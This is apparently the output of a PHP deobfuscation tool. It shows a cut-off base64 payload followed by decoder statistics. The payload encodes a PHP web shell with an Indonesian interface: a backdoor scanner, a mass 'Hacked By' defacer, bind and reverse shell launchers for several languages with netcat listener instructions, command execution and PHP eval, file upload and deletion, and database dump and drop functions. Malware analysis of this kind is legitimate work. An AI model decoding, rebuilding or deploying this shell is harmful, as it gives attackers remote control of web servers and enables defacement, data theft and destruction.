+ZGlyKCkuIic+RW50ZSBueWFyaSBkaSA6IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2RpcicgdmFsdWU9JyIuJHRoaXMtPmRpcigpLiInPiIuJHRoaXMtPmN1cnJlbnQoJ2JkcycpLiI8YnIgLz5UeXBlIFBlbmNhcmlhbiA6IDwvY2VudGVyPiI7DQpmb3JlYWNoICgkdGhpcy0+ZmluZCBhcyAkdmFsKSB7DQogICAgICAgICAgICAkci49IjxpbnB1dCBzdHlsZT0nbWFyZ2luLWxlZnQ6NDMlO21hcmdpbi10b3A6N3B4OycgdHlwZT0nY2hlY2tib3gnIG5hbWU9J2J1Z1tdJyB2YWx1ZT0nIi4kdmFsLiInPiIuJHZhbC4iPGJyIC8+IjsNCiAgICAgICAgfQ0KICAgICAgICAgICAgJHIuPSI8Y2VudGVyPjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J3N1Ym1pdCcgaWQ9J2J1dCcgc3R5bGU9J21hcmdpbi10b3A6MTBweDt3aWR0aDoxNTBweDtjb2xvcjojZmZmJyB2YWx1ZT0nQ2FyaSBCYWNrRG9vcic+PC9mb3JtPiI7DQogICAgICAgICAgICAkci49IjwvY2VudGVyPiI7DQogICAgICAgIH0NCiAgICAgICAgJHIuPSI8L2Rpdj4iOw0KICAgICAgICANCiAgICAgICAgDQogICAgICAgIHJldHVybiAkcjsNCiAgICB9DQoNCiAgICBmdW5jdGlvbiBuZXdtYXNzKCRkaXIsJGZpbGUsJHNvdXJjZSkNCiAgICB7DQogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnZGlyJ10pJiZpc3NldCgkX1BPU1RbJ2ZpbGUnXSkmJmlzc2V0KCRfUE9TVFsnc291cmNlJ10pKQ0KICAgICAgICB7DQogICAgICAgICAgICANCiAgICAgICAgfQ0KICAgICAgICBlbHNlIHsNCiAgICAgICAgICAgICRyLj0iPGNlbnRlcj48Zm9ybSBtZXRob2Q9J3Bvc3QnIGFjdGlvbj0nP2FjdD1tZCZkaXI9Ii4kdGhpcy0+ZGlyKCkuIic+TWFzcyBEZWZhY2VyIDxiciAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIHN0eWxlPSd3aWR0aDo1MDBweDsnIG5hbWU9J2FkZHInIGlkPSdib3gnIHZhbHVlPSciLiR0aGlzLT5kaXIoKS4iJz4iLiR0aGlzLT5jdXJyZW50KCdtZCcpLiI8YnIgLz5OYW1hIEZpbGUgPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2ZuYW1lJyB2YWx1ZT0naW5kZXgucGhwJyBzdHlsZT0nbWFyZ2luOjdweCAwOycgaWQ9J2JveCc+PGJyIC8+DQogICAgICAgIDx0ZXh0YXJlYSBuYW1lPSdpc2lueWEnIHN0eWxlPSdib3JkZXI6MXB4IHNvbGlkICNmMDA7Jz48aDE+SGFja2VkIEJ5PC9oMT48L3RleHRhcmVhPjxiciAvPjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J2RlZicgaWQ9J2J1dCcgdmFsdWU9J0RlZmFjZSc+PC9mb3JtPjwvY2VudGVyPiI7DQogICAgICAgICRyLj0iPC9kaXY+IjsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBmdW5jdGlvbiBkb29yKCkNCiAgICB7DQogICAgICAgICR0aGlzLT5pcD1nZXRob3N0YnluYW1lKCRfU0VSVkVSWydIVFRQX0hPU1QnXSk7DQogICAgICAgICRyPSIiOw0KICAgICAgICAkZnJtPSI8Zm9ybSBtZXRob2Q9J3Bvc3QnIGFjdGlvbj0nP2FjdD1iYyc+IjsNCiAgICAgICAgJGhkPSI8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhY3Rpb24nIHZhbHVlPSdiYyc+IjsNCiAgICAgICAgJG1zPSJUZWthbiBUb21ib2wgQ29ubmVjdCBkYW4gamFsYW5rYW4gbmMgcGFkYSBrb21wdXRlciBlbnRlIC0+IG5jICIuJHRoaXMtPmlwLiIgNjY2IjsNCiAgICAgICAgJG1zMj0iSmFsYW5rYW4gbmMgcGFkYSBrb21wdXRlciBlbnRlIC0+IG5jIC1sbnZwIDY2NiBsYWx1IGVudGUga2xpayB0b21ib2wgQ29ubmVjdCI7DQogICAgICAgICAgICAvL0JpbmQgUGVybA0KICAgICAgICAkci49Ijx0YWJsZSBib3JkZXI9JzAnIHdpZHRoPScxMDAlJyBjbGFzcz0neHBsdGFiJz48dHI+PHRoPkJpbmQgU2hlbGw8L3RoPjx0aD5NZW1iYWxpa2thbiBTaGVsbDwvdGg+PC90cj4NCiAgICAgICAgICAgIDx0cj48dGQgPjxzcGFuIGNsYXNzPSdnZWRlJz5QZXJsPC9zcGFuPiA8YnIgLz4kZnJtPGlucHV0IHR5cGU9J2hpZGRlbicgdmFsdWU9JyIuJHRoaXMtPmlwLiInIG5hbWU9J2lwJyBpZD0nYm94Jz48YnIgLz5Qb3J0IDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BvcnQnIHZhbHVlPSc2NjYnIGlkPSdib3gnIC8+JGhkPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nR28nIHZhbHVlPSdjb25uZWN0JyBpZD0nYnV0Jz48aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhY3Rpb24nIHZhbHVlPSdicGVybCc+PC9mb3JtPjxwPiRtczwvdGQ+IjsNCiAgICAgICAgICAgICAvL3JldmVyc2UgcGVybA0KICAgICAgICAgICAgICRyLj0iPHRkICBzdHlsZT0nYm9yZGVyLXJpZ2h0OjFweCBzb2xpZCAjZjAwJz48c3BhbiBjbGFzcz0nZ2VkZSc+UGVybCA8L3NwYW4+PGJyIC8+SVAgZW50ZSA8aW5wdXQgdHlwZT0ndGV4dCcgdmFsdWU9JyIuJHRoaXMtPmlwLiInIG5hbWU9J2JjcGVybGlwJyBpZD0nYm94Jz48YnIgLz5Qb3J0IDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BvcnQnIHZhbHVlPSc2NjYnIGlkPSdib3gnIHN0eWxlPSdtYXJnaW4tdG9wOjVweDttYXJnaW4tbGVmdDoxN3B4OycvPjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J0dvJyB2YWx1ZT0nY29ubmVjdCcgaWQ9J2J1dCc+PHA+JG1zMjwvdGQ+PC90cj4iOw0KICAgICAgICAgICAgLy9iaW5kIHB5dGhvbiANCiAgICAgICAgICAgICAkci49Ijx0cj48dGQ+PHNwYW4gY2xhc3M9J2dlZGUnPlB5dGhvbjwvc3Bhbj4gPGJyIC8+PGlucHV0IHR5cGU9J2hpZGRlbicgdmFsdWU9JyIuJHRoaXMtPmlwLiInIG5hbWU9J2JjcGVybCcgaWQ9J2JveCc+PGJyIC8+UG9ydCA6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwb3J0JyB2YWx1ZT0nNjY2JyBpZD0nYm94JyAvPjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J0dvJyB2YWx1ZT0nY29ubmVjdCcgaWQ9J2J1dCc+DQogICAgICAgICAgICA8cD4kbXM8L3RkPg0KICAgICAgICAgICAgIjsNCiAgICAgICAgICAgIC8vcmV2ZXJzZSBweXRob24NCiAgICAgICAgICAgICRyLj0iPHRkIHN0eWxlPSdib3JkZXItcmlnaHQ6MXB4IHNvbGlkICNmMDAnPjxzcGFuIGNsYXNzPSdnZWRlJz5QeXRob248L3NwYW4+IDxiciAvPklQIGVudGU8aW5wdXQgdHlwZT0ndGV4dCcgdmFsdWU9JyIuJHRoaXMtPmlwLiInIG5hbWU9J2JjcGVybCcgaWQ9J2JveCc+PGJyIC8+UG9ydCA6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwb3J0JyB2YWx1ZT0nNjY2JyBpZD0nYm94JyBzdHlsZT0nbWFyZ2luLXRvcDo1cHg7bWFyZ2luLWxlZnQ6MTNweDsnLz48aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdHbycgdmFsdWU9J2Nvbm5lY3QnIGlkPSdidXQnPjxwPiRtczI8L3RkPjwvdHI+PHRyPiI7DQogICAgICAgICAgICAvL0JpbmQgQw0KICAgICAgICAgICAgJHIuPSI8dGQ+PHNwYW4gY2xhc3M9J2dlZGUnPkJpbjwvc3Bhbj4gPGJyIC8+PGlucHV0IHR5cGU9J2hpZGRlbicgdmFsdWU9JyIuJHRoaXMtPmlwLiInIG5hbWU9J2JjcGVybCcgaWQ9J2JveCc+PGJyIC8+UG9ydCA6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwb3J0JyB2YWx1ZT0nNjY2JyBpZD0nYm94JyAvPjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J0dvJyB2YWx1ZT0nY29ubmVjdCcgaWQ9J2J1dCc+DQogICAgICAgICAgICA8cD4kbXM8L3RkPiI7DQogICAgICAgICAgICAvL1JldmVyc2UgUEhQDQogICAgICAgICAgICAkci49Ijx0ZCBzdHlsZT0nYm9yZGVyLXJpZ2h0OjFweCBzb2xpZCAjZjAwJz48c3BhbiBjbGFzcz0nZ2VkZSc+UGhwPC9zcGFuPiA8YnIgLz5JUCBlbnRlPGlucHV0IHR5cGU9J3RleHQnIHZhbHVlPSciLiR0aGlzLT5pcC4iJyBuYW1lPSdiY3BlcmwnIGlkPSdib3gnPjxiciAvPlBvcnQgOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncG9ydCcgdmFsdWU9JzY2NicgaWQ9J2JveCcgc3R5bGU9J21hcmdpbi10b3A6NXB4O21hcmdpbi1sZWZ0OjEzcHg7Jy8+PGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nR28nIHZhbHVlPSdjb25uZWN0JyBpZD0nYnV0Jz48cD4kbXMyPC90ZD48L3RyPjx0cj4iOw0KICAgICAgICAgICAgLy9CaW5kIFJ1YnkNCiAgICAgICAgICAgICRyLj0iPHRkPjxzcGFuIGNsYXNzPSdnZWRlJz5SdWJ5PC9zcGFuPiA8YnIgLz48aW5wdXQgdHlwZT0naGlkZGVuJyB2YWx1ZT0nIi4kdGhpcy0+aXAuIicgbmFtZT0nYmNwZXJsJyBpZD0nYm94Jz48YnIgLz5Qb3J0IDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BvcnQnIHZhbHVlPSc2NjYnIGlkPSdib3gnIC8+PGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nR28nIHZhbHVlPSdjb25uZWN0JyBpZD0nYnV0Jz4NCiAgICAgICAgICAgIDxwPiRtczwvdGQ+IjsNCiAgICAgICAgICAgIC8vUmV2ZXJzZSBSdWJ5IA0KICAgICAgICAgICAgJHIuPSI8dGQgc3R5bGU9J2JvcmRlci1yaWdodDoxcHggc29saWQgI2YwMCc+PHNwYW4gY2xhc3M9J2dlZGUnPlJ1Ynk8L3NwYW4+IDxiciAvPklQIGVudGUgPGlucHV0IHR5cGU9J3RleHQnIHZhbHVlPSciLiR0aGlzLT5pcC4iJyBuYW1lPSdiY3BlcmwnIGlkPSdib3gnPjxiciAvPlBvcnQgOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncG9ydCcgdmFsdWU9JzY2NicgaWQ9J2JveCcgc3R5bGU9J21hcmdpbi10b3A6NXB4O21hcmdpbi1sZWZ0OjE3cHg7Jy8+PGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nR28nIHZhbHVlPSdjb25uZWN0JyBpZD0nYnV0Jz48cD4kbXMyPC90ZD48L3RyPg0KICAgICAgICAgICAgPC90YWJsZT4iOw0KICAgICAgICByZXR1cm4gJHI7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGJjKCR0eXBlKQ0Kew0KICAgIHN3aXRjaCAoJHR5cGUpIHsNCiAgICAgICAgY2FzZSAnYmluZHBsJzoNCiAgICAgICAgICAgICMgY29kZS4uLg0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIGNhc2UgJ2JpbmRwbCc6DQogICAgICAgIA0KICAgICAgICBicmVhazsNCiAgICAgICAgZGVmYXVsdDoNCiAgICAgICAgICAgICMgY29kZS4uLg0KICAgICAgICAgICAgYnJlYWs7DQogICAgfQ0KfQ0KDQp9DQokc2hlbGw9bmV3IHNoZWxsKCk7DQokcj0nJzsNCiRyLj0kc2hlbGwtPmhlYWRlcigpOw0KJHIuPSRzaGVsbC0+bWVudSgpOw0KZWNobyAiPC9kaXY9J2lzaSc+IjsNCnN3aXRjaCAoJF9HRVRbJ2FjdCddKSB7DQogICAgY2FzZSAnZmlsZSc6DQogICAgDQogICAgaWYoaXNzZXQoJF9HRVRbJ2FjdDInXSk9PSdkZWwnKQ0KICAgICRyLj0kc2hlbGwtPnJlbWZpbGUoKTsNCiAgICBpZihpc3NldCgkX0dFVFsnYWN0MyddKT09J2RlbCcpDQogICAgJHIuPSRzaGVsbC0+cmVtZGlyKCk7DQogICAgJHIuPSRzaGVsbC0+eHBsKCk7ICAgIA0KICAgICRyLj0kc2hlbGwtPmNlbnRlcigpOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ2VkaXQnOg0KICAgICRyLj0kc2hlbGwtPmVkaXQoJF9HRVRbJ2ZpbGUnXSk7DQogICAgYnJlYWs7DQogICAgY2FzZSAncmVuJzoNCiAgICAkci49JHNoZWxsLT5yZW4oJF9HRVRbJ2ZpbGUnXSk7DQogICAgYnJlYWs7DQogICAgY2FzZSAnY21kJzoNCiAgICAkci49JHNoZWxsLT5jb21tYW5kKCk7DQogICAgJHIuPSRzaGVsbC0+Y2VudGVyKCk7DQogICAgYnJlYWs7DQogICAgY2FzZSAnZG93bic6DQogICAgJHIuPSRzaGVsbC0+ZG93bmxvYWRmaWxlKCRfR0VUWydmaWxlJ10pOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ2Rvd25mb2xkZXInOg0KICAgICRyLj0kc2hlbGwtPmRvd25sb2FkZm9sZGVyKCRfR0VUWydmaWxlJ10pOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ215c3FsJzoNCiAgICAkci49JHNoZWxsLT5sb2dpbigpOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ3ZpZXcnOg0KICAgICRyLj0kc2hlbGwtPmxpaGF0ZGIoKTsNCiAgICBicmVhazsNCiAgICBjYXNlICdzaG93dGFibGUnOg0KICAgICRyLj0kc2hlbGwtPnNob3d0YWJsZSgpOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ3Nob3djb24nOg0KICAgICRyLj0kc2hlbGwtPnNob3djb24oKTsNCiAgICBicmVhazsNCiAgICBjYXNlICdkb3duZGInOg0KICAgICRyLj0kc2hlbGwtPmRvd25kYigpOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ2VkaXRyb3cnOg0KICAgICRyLj0kc2hlbGwtPmVkaXRyb3coKTsNCiAgICBicmVhazsNCiAgICBjYXNlICdsb2dvdXQnOg0KICAgICRfU0VTU0lPTj1hcnJheSgpOw0KICAgIHNlc3Npb25fZGVzdHJveSgpOw0KICAgIGhlYWRlcigibG9jYXRpb246P2FjdD1teXNxbCIpOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ2Ryb3BkYic6DQogICAgJHIuPSRzaGVsbC0+ZHJvcHNxbCgpOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ2RlbHJvdyc6DQogICAgJHIuPSRzaGVsbC0+ZHJvcHJvdygpOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ2luc2VydHJvdyc6DQogICAgJHIuPSRzaGVsbC0+aW5zZXJ0cm93KCk7DQogICAgYnJlYWs7DQogICAgY2FzZSAnc3FsY21kJzoNCiAgICAkci49JHNoZWxsLT5zcWxjbWQoKTsNCiAgICBicmVhazsNCiAgICBjYXNlICdlbmNvZGUnOg0KICAgICRyLj0kc2hlbGwtPmNvbnZlcnRlcigpOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ3Nlcic6JHIuPSRzaGVsbC0+aW5mb3NlcigpO2JyZWFrOw0KICAgIGNhc2UgImV2YWwiOg0KICAgICRyLj0kc2hlbGwtPnBocGV2YWwoKTskci49JHNoZWxsLT5jZW50ZXIoKTsNCiAgICBicmVhazsNCiAgICBjYXNlICd3cml0ZSc6DQogICAgJHIuPSRzaGVsbC0+d3JpdGFibGUoKTsNCiAgICBicmVhazsNCiAgICBjYXNlICdiZHMnOiRyLj0kc2hlbGwtPmRvb3JzY2FuKCk7YnJlYWs7DQogICAgY2FzZSAnbWQnOiRyLj0kc2hlbGwtPm1hc3MoKTticmVhazsNCiAgICBjYXNlICdiYyc6JHIuPSRzaGVsbC0+ZG9vcigpO2JyZWFrOw0KICAgIGRlZmF1bHQ6DQogICAgJHIuPSRzaGVsbC0+bG9nbygpOw0KICAgIGJyZWFrOw0KfQ0Kc3dpdGNoICgkX1BPU1RbJ2FjdGlvbiddKSB7DQogICAgY2FzZSAnZWRpdGZpbGUnOg0KICAgICAgICBpZigkc2hlbGwtPmVkaXRmaWxlKCRfUE9TVFsnZmlsZSddKSkNCiAgICAgICAgJHIuPWhlYWRlcigibG9jYXRpb246P2FjdD1maWxlJmRpcj0iLiRzaGVsbC0+ZGlyKCkuIiIpOw0KICAgICAgICANCiAgICAgICAgYnJlYWs7DQogICAgY2FzZSAncmVuYW1lZCc6DQogICAgICAgIGlmKCRzaGVsbC0+cmVuYW1lKCRfUE9TVFsnZmlsZSddKSkNCiAgICAgICAgJHIuPWhlYWRlcigibG9jYXRpb246P2FjdD1maWxlJmRpcj0iLiRzaGVsbC0+ZGlyKCkuIiIpOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgIm1rZGlyIjoNCiAgICAkci49JHNoZWxsLT5ta2RpcigpOw0KICAgICRyLj1oZWFkZXIoImxvY2F0aW9uOj9hY3Q9ZmlsZSZkaXI9Ii4kc2hlbGwtPmRpcigpLiIiKTsNCiAgICBicmVhazsNCiAgICBjYXNlICJjcmVhdGVmaWxlIjoNCiAgICAkci49JHNoZWxsLT5jcmVhdGVmaWxlKCk7DQogICAgJHIuPWhlYWRlcigibG9jYXRpb246P2FjdD1maWxlJmRpcj0iLiRzaGVsbC0+ZGlyKCkuIiIpOw0KICAgIGJyZWFrOw0KICAgIA0KICAgIGNhc2UgInVwbG9hZGVyIjoNCiAgICAkci49JHNoZWxsLT51cGxvYWQoKTsNCiAgICAkci49aGVhZGVyKCJsb2NhdGlvbjo/YWN0PWZpbGUmZGlyPSIuJHNoZWxsLT5kaXIoKS4iIik7DQogICAgYnJlYWs7DQogICAgY2FzZSAnY3JlYXRlZGInOg0KICAgICRyLj0kc2hlbGwtPmNyZWF0ZWRiKCRfUE9TVFsnZGJuYW1lJ10pOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ3VwZGF0ZXJvdyc6DQogICAgJHIuPSRzaGVsbC0+dXBkYXRlcm93KCk7DQogICAgYnJlYWs7DQogICAgY2FzZSAnaW5zZXJ0cm93JzoNCiAgICAkci49JHNoZWxsLT5pbnNlcnRyb3coKTsNCiAgICBicmVhazsNCiAgICBjYXNlICdtYXNzJzoNCiAgICAkci49JHNoZWxsLT5uZXdtYXNzKCRfUE9TVFsnZGlyJ10sJF9QT1NUWydmaWxlJ10sJF9QT1NUWydzb3VyY2UnXSk7DQogICAgYnJlYWs7DQogICAgY2FzZSAnYmMnOg0KICAgICRyLj0kc2hlbGwtPmJjKCk7DQogICAgYnJlYWs7IA0KfQ0KZWNobyAiPC9kaXY+IjsNCiRyLj0kc2hlbGwtPmZvb3RlcigpOw0KZWNobyAkcjsNCm9iX2VuZF9mbHVzaCgpOw0KPz4='))); ?> 

Function Calls

gzinflate 1
base64_decode 1

Variables

None

Stats

MD5 7a86ce0b82d6d063f0470b2b285f5e6e
Eval Count 0
Decode Time 161 ms